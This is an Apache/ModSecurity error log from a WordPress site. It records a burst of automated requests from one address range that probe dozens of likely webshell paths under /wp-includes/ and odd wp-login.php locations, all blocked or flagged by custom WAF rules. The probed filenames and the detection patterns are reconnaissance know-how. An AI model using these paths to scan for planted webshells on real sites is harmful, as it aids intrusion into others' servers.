[Sun Dec 07 05:02:22.040643 2025] [:error] [pid 7273:tid 7297] [client 45.146.55.42:64799] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTSZ3vpR7YTD7JcHjhF9gwAAAVY"]
[Sun Dec 07 05:02:26.368752 2025] [:error] [pid 7089:tid 7101] [client 45.146.55.45:64715] [client 45.146.55.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aTSZ4oJPZ-pZM-y51NHRRwAAAQo"]
[Sun Dec 07 05:02:28.510702 2025] [:error] [pid 34195:tid 34208] [client 45.146.55.54:56527] [client 45.146.55.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.54, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTSZ5BrSxOOdwv3vX3w-mAAAAMo"]
[Sun Dec 07 05:02:33.693758 2025] [:error] [pid 34195:tid 34222] [client 45.146.55.54:56527] [client 45.146.55.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aTSZ6RrSxOOdwv3vX3w-5AAAANg"]
[Sun Dec 07 05:02:35.409716 2025] [:error] [pid 34110:tid 34182] [client 45.146.55.12:45777] [client 45.146.55.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.12, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aTSZ6wndtmtsHiXHBO2AcgAAAI8"]
[Sun Dec 07 05:02:36.267565 2025] [:error] [pid 34110:tid 34168] [client 45.146.55.12:45777] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aTSZ7AndtmtsHiXHBO2AdAAAAIE"]
[Sun Dec 07 05:02:40.578869 2025] [:error] [pid 34110:tid 34178] [client 45.146.55.19:43275] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aTSZ8AndtmtsHiXHBO2AngAAAIs"]
[Sun Dec 07 05:02:44.893967 2025] [:error] [pid 34195:tid 34207] [client 45.146.55.32:29641] [client 45.146.55.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aTSZ9BrSxOOdwv3vX3w_UQAAAMk"]
[Sun Dec 07 05:02:46.629725 2025] [:error] [pid 34110:tid 34179] [client 45.146.55.61:64007] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aTSZ9gndtmtsHiXHBO2AyQAAAIw"]
[Sun Dec 07 05:02:48.801872 2025] [:error] [pid 7273:tid 7283] [client 45.146.55.30:64745] [client 45.146.55.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.30, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aTSZ-PpR7YTD7JcHjhF-iAAAAUg"]
[Sun Dec 07 05:02:49.250392 2025] [:error] [pid 7273:tid 7297] [client 45.146.55.30:64745] [client 45.146.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aTSZ-fpR7YTD7JcHjhF-jgAAAVY"]
[Sun Dec 07 05:02:57.468252 2025] [:error] [pid 34109:tid 34151] [client 45.146.55.12:21255] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aTSaAYjE_vucgM_xD4TgVAAAAEs"]
[Sun Dec 07 05:02:59.611367 2025] [:error] [pid 7089:tid 7102] [client 45.146.55.39:33509] [client 45.146.55.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.146.55.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aTSaA4JPZ-pZM-y51NHSZwAAAQs"]
[Sun Dec 07 05:03:01.347755 2025] [:error] [pid 7089:tid 7107] [client 45.146.55.39:33509] [client 45.146.55.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTSaBYJPZ-pZM-y51NHSeAAAARA"]
[Sun Dec 07 05:03:02.648567 2025] [:error] [pid 34195:tid 34203] [client 45.146.55.41:22627] [client 45.146.55.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aTSaBhrSxOOdwv3vX3xAEAAAAMU"]
[Sun Dec 07 05:03:04.383611 2025] [:error] [pid 34109:tid 34163] [client 45.146.55.57:62821] [client 45.146.55.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aTSaCIjE_vucgM_xD4TgpgAAAFc"]
[Sun Dec 07 05:03:06.570629 2025] [:error] [pid 13234:tid 13264] [client 45.146.55.42:36035] [client 45.146.55.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aTSaCu6_dquQqQ60IZ-AjwAAAZc"]
[Sun Dec 07 05:03:07.431227 2025] [:error] [pid 13234:tid 13265] [client 45.146.55.24:54421] [client 45.146.55.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aTSaC-6_dquQqQ60IZ-AlwAAAZg"]
[Sun Dec 07 05:03:10.477648 2025] [:error] [pid 7089:tid 7101] [client 45.146.55.18:41301] [client 45.146.55.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aTSaDoJPZ-pZM-y51NHStwAAAQo"]
[Sun Dec 07 05:03:11.788608 2025] [:error] [pid 7089:tid 7107] [client 45.146.55.33:39143] [client 45.146.55.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aTSaD4JPZ-pZM-y51NHSvgAAARA"]
[Sun Dec 07 05:03:13.955618 2025] [:error] [pid 34110:tid 34183] [client 45.146.55.50:24537] [client 45.146.55.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aTSaEQndtmtsHiXHBO2BtAAAAJA"]
[Sun Dec 07 05:03:16.136922 2025] [:error] [pid 34110:tid 34181] [client 45.146.55.55:56993] [client 45.146.55.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aTSaFAndtmtsHiXHBO2BxQAAAI4"]
[Sun Dec 07 05:03:17.853401 2025] [:error] [pid 13234:tid 13242] [client 45.146.55.12:29243] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aTSaFe6_dquQqQ60IZ-BBwAAAYI"]
[Sun Dec 07 05:03:20.029832 2025] [:error] [pid 34195:tid 34217] [client 45.146.55.18:36283] [client 45.146.55.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aTSaGBrSxOOdwv3vX3xA4QAAANM"]
[Sun Dec 07 05:03:23.987712 2025] [:error] [pid 34195:tid 34203] [client 45.146.55.27:62543] [client 45.146.55.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aTSaGxrSxOOdwv3vX3xBKAAAAMU"]
[Sun Dec 07 05:03:24.840582 2025] [:error] [pid 34195:tid 34222] [client 45.146.55.19:51605] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aTSaHBrSxOOdwv3vX3xBMAAAANg"]
[Sun Dec 07 05:03:25.704473 2025] [:error] [pid 34110:tid 34186] [client 45.146.55.30:35301] [client 45.146.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aTSaHQndtmtsHiXHBO2CCwAAAJM"]
[Sun Dec 07 05:03:26.564652 2025] [:error] [pid 13234:tid 13259] [client 45.146.55.53:42359] [client 45.146.55.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aTSaHu6_dquQqQ60IZ-BVgAAAZI"]
[Sun Dec 07 05:03:27.846615 2025] [:error] [pid 7089:tid 7103] [client 45.146.55.32:42135] [client 45.146.55.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aTSaH4JPZ-pZM-y51NHTYQAAAQw"]
[Sun Dec 07 05:03:28.696394 2025] [:error] [pid 34108:tid 34115] [client 45.146.55.14:49019] [client 45.146.55.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTSaIKLvdvAppF-gXosR4gAAAAI"]
[Sun Dec 07 05:03:30.425880 2025] [:error] [pid 7089:tid 7107] [client 45.146.55.50:25931] [client 45.146.55.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTSaIoJPZ-pZM-y51NHTdAAAARA"]
[Sun Dec 07 05:03:31.281500 2025] [:error] [pid 7273:tid 7296] [client 45.146.55.60:28405] [client 45.146.55.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aTSaI_pR7YTD7JcHjhF_-AAAAVU"]
[Sun Dec 07 05:03:32.135032 2025] [:error] [pid 34108:tid 34130] [client 45.146.55.43:34541] [client 45.146.55.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aTSaJKLvdvAppF-gXosR_AAAABE"]
[Sun Dec 07 05:03:32.999158 2025] [:error] [pid 34109:tid 34155] [client 45.146.55.14:56509] [client 45.146.55.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aTSaJIjE_vucgM_xD4ThuAAAAE8"]
[Sun Dec 07 05:03:34.304921 2025] [:error] [pid 7273:tid 7293] [client 45.146.55.36:56939] [client 45.146.55.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aTSaJvpR7YTD7JcHjhGAFgAAAVI"]
[Sun Dec 07 05:03:36.043984 2025] [:error] [pid 34108:tid 34124] [client 45.146.55.54:34405] [client 45.146.55.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aTSaKKLvdvAppF-gXosSGwAAAAs"]
[Sun Dec 07 05:03:38.634349 2025] [:error] [pid 7089:tid 7114] [client 45.146.55.19:20133] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aTSaKoJPZ-pZM-y51NHT3AAAARc"]
[Sun Dec 07 05:03:42.526999 2025] [:error] [pid 34195:tid 34202] [client 45.146.55.25:58775] [client 45.146.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aTSaLhrSxOOdwv3vX3xCVwAAAMQ"]
[Sun Dec 07 05:03:44.690849 2025] [:error] [pid 34108:tid 34116] [client 45.146.55.20:37731] [client 45.146.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aTSaMKLvdvAppF-gXosSbQAAAAM"]
[Sun Dec 07 05:03:45.541593 2025] [:error] [pid 34109:tid 34152] [client 45.146.55.19:24469] [client 45.146.55.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aTSaMYjE_vucgM_xD4TiCQAAAEw"]
[Sun Dec 07 05:03:48.133687 2025] [:error] [pid 34109:tid 34160] [client 45.146.55.36:40181] [client 45.146.55.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aTSaNIjE_vucgM_xD4TiNAAAAFQ"]
[Sun Dec 07 05:03:50.334658 2025] [proxy_fcgi:error] [pid 34108:tid 34123] [client 45.146.55.30:62181] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:03:50.799621 2025] [proxy_fcgi:error] [pid 34108:tid 34115] [client 45.146.55.30:62181] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:03:51.239604 2025] [proxy_fcgi:error] [pid 34108:tid 34132] [client 45.146.55.30:62181] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:03:53.436528 2025] [:error] [pid 34108:tid 34119] [client 45.146.55.30:62181] [client 45.146.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTSaOaLvdvAppF-gXosSqwAAAAY"]
[Sun Dec 07 05:03:54.289706 2025] [:error] [pid 13234:tid 13240] [client 45.146.55.61:20069] [client 45.146.55.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aTSaOu6_dquQqQ60IZ-CZgAAAYA"]
[Sun Dec 07 05:03:55.143052 2025] [:error] [pid 7273:tid 7276] [client 45.146.55.12:63735] [client 45.146.55.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aTSaO_pR7YTD7JcHjhGArwAAAUE"]
[Sun Dec 07 05:03:55.991038 2025] [:error] [pid 34110:tid 34182] [client 45.146.55.32:62413] [client 45.146.55.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aTSaOwndtmtsHiXHBO2DEwAAAI8"]
[Sun Dec 07 05:03:56.853845 2025] [:error] [pid 13234:tid 13244] [client 45.146.55.11:65047] [client 45.146.55.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTSaPO6_dquQqQ60IZ-CdgAAAYM"]
[Sun Dec 07 05:03:57.711930 2025] [:error] [pid 34110:tid 34182] [client 45.146.55.54:44649] [client 45.146.55.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aTSaPQndtmtsHiXHBO2DIgAAAI8"]
[Sun Dec 07 05:04:03.597400 2025] [:error] [pid 34109:tid 34158] [client 45.146.55.18:25397] [client 45.146.55.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aTSaQ4jE_vucgM_xD4TitQAAAFI"]
[Sun Dec 07 05:04:04.445270 2025] [:error] [pid 34109:tid 34159] [client 45.146.55.17:41143] [client 45.146.55.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aTSaRIjE_vucgM_xD4TivgAAAFM"]
[Sun Dec 07 05:04:05.292884 2025] [:error] [pid 7089:tid 7103] [client 45.146.55.18:55509] [client 45.146.55.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aTSaRYJPZ-pZM-y51NHVBgAAAQw"]
[Sun Dec 07 05:04:06.139821 2025] [:error] [pid 7273:tid 7288] [client 45.146.55.13:55705] [client 45.146.55.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aTSaRvpR7YTD7JcHjhGBMgAAAU0"]
